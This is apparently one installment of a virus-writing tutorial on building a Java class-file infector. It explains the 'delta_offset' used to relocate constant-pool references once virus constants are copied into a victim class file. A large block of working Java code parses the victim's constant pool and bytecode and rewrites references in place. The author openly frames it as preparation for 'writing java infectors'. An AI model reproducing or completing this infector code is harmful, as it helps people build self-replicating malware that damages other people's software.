|
There is plenty to get through before we can get cracking, building a java virus. We must learn how to iterate through the constant_pool and method_attribute to update all constant references to reflect the change in the delta_offset. After defeating this problem yet another one raises its head but that is for the next installment. analysis
It may be of some use to explain to you, the reader, what the delta_offset is. Well to anybody who knows anything about virus writing this should be familiar territory, the delta_offset in java viruses is the difference between the size of the host_constants_pool and the victim_constants_pool. This is added to all constants references in both the method attribute and the constants pool so that everything is once again referencing the same material. Thus the difference between the delta_offset here and in other viruses is that we are dealing with array entries rather than byte lengths in the calculation. This can be shown graphically as follows: 1. The host file
Now when the virus constants (purple) are copied across we need to change any references to these constants in various places inside the class file. The amount we change them by is calculated by the following equation: delta_offset = (victim_cp_count
-
= 4 - (5 - 2) = 1 This is clearly the case since the virus constants in the newly infected file have been shifted upwards by one entry. See the diagram below: 4. Infected file with
updated delta_offset
victim.seek(fpointer); for (int i = 1; i < host_cp_count; i++) { int data1, data2; int tag = victim.readUnsignedByte(); fpointer++; int skipper = 0; switch (tag) { case 7: case 8: data1 = victim.readUnsignedShort(); victim.seek(fpointer); victim.writeShort(data1 + delta_offset); fpointer += 2; break; case 3: case 4: fpointer += 4; break; case 9: case 10: case 11: case 12: data1 = victim.readUnsignedShort(); data2 = victim.readUnsignedShort(); victim.seek(fpointer); victim.writeShort(data1 + delta_offset); victim.writeShort(data2 + delta_offset); fpointer += 4; break; case 5: case 6: fpointer += 8; i++; break; case 1: skipper = victim.readUnsignedShort(); fpointer = fpointer + skipper + 2; break; } victim.seek(fpointer); }
while (fpointer < (victim_method_pointer + virus_code_length + 24)) { int data1; int total_nulls; int tag = victim.readUnsignedByte(); fpointer++; switch (tag) { //the default is a one byte instruction default: break; //these are all of the two byte instructions case 16: case 21: case 22: case 23: case 24: case 25: case 54: case 55: case 56: case 57: case 58: case 169: case 188: fpointer++; break; //these are all of the three byte instructions case 17: case 132: case 153: case 154: case 155: case 156: case 157: case 158: case 159: case 160: case 161: case 162: case 163: case 164: case 165: case 166: case 167: case 168: case 198: case 199: fpointer += 2; break; //these are all of the five byte instructions case 200: case 201: fpointer += 4; break; //these are all of the referencing instructions case 18: data1 = victim.readUnsignedByte(); victim.seek(fpointer); victim.writeByte(data1 + delta_offset); fpointer++; break; case 19: case 20: case 178: case 179: case 180: case 181: case 182: case 183: case 184: case 187: case 189: case 192: case 193: data1 = victim.readUnsignedShort(); victim.seek(fpointer); victim.writeShort(data1 + delta_offset); fpointer += 2; break; case 197: data1 = victim.readUnsignedShort(); victim.seek(fpointer); victim.writeShort(data1 + delta_offset); fpointer += 3; break; case 185: data1 = victim.readUnsignedShort(); victim.seek(victim_method_pointer); victim.writeShort(data1 + delta_offset); fpointer += 4; break; //these are all of the variable length instructions case 170: total_nulls = 3-(fpointer - 1 - (victim_method_pointer+24))%4; for (int i = 0; i < total_nulls; i++) { tag = victim.readUnsignedByte(); fpointer++; } fpointer += 4; victim.seek(fpointer); int low = victim.readInt(); int high = victim.readInt(); fpointer += 8 + 4*(high - low + 1); break; case 171: total_nulls = 3-(fpointer - 1 -(victim_method_pointer+24))%4; for (int i = 0; i < total_nulls; i++) { tag = victim.readUnsignedByte(); fpointer++; } fpointer += 4; victim.seek(fpointer); int npairs = victim.readInt(); fpointer += 4 + 8*npairs; break; case 196: tag = victim.readUnsignedByte(); if (tag == 132) fpointer += 4; else fpointer += 2; break; } // end of switch victim.seek(fpointer); } //end of for loop
There are some tools in the chapter five directory that are useful for when you want to start experimenting seriously. Check them out and use them. This is some of the more difficult coding to comprehend so if you had no worries then go on to the next section and start writing java infectors! Do not despair if you cannot understand it all because I am now going to give a bit more information on what it all means. If you would like to return to our HelloWorld experiment in the earlier chapter you may remember that the disassembly of the file looked like this: Method void main(java.lang.String[])
The numbers that are
preceded by the hash symbol refer to the constant_pool entry of the succeeding
constant ie. constant_pool[7] = CONSTANT_Field
If
we just copy
the executable code to another file it will assume that constant_pool[7]
is the same CONSTANT_Field when really it is more likely something else
(like a string or a class) this causes some really fun errors with the
java interpreter, a crash guard is handy in these cases. This is why we
must use the delta_offset, to alter both the reference in the executable
code and any fields in the constants pool which reference other constants
eg. CONSTANT_Class references a CONSTANT_Utf8. Take heart, as we are almost
complete.
|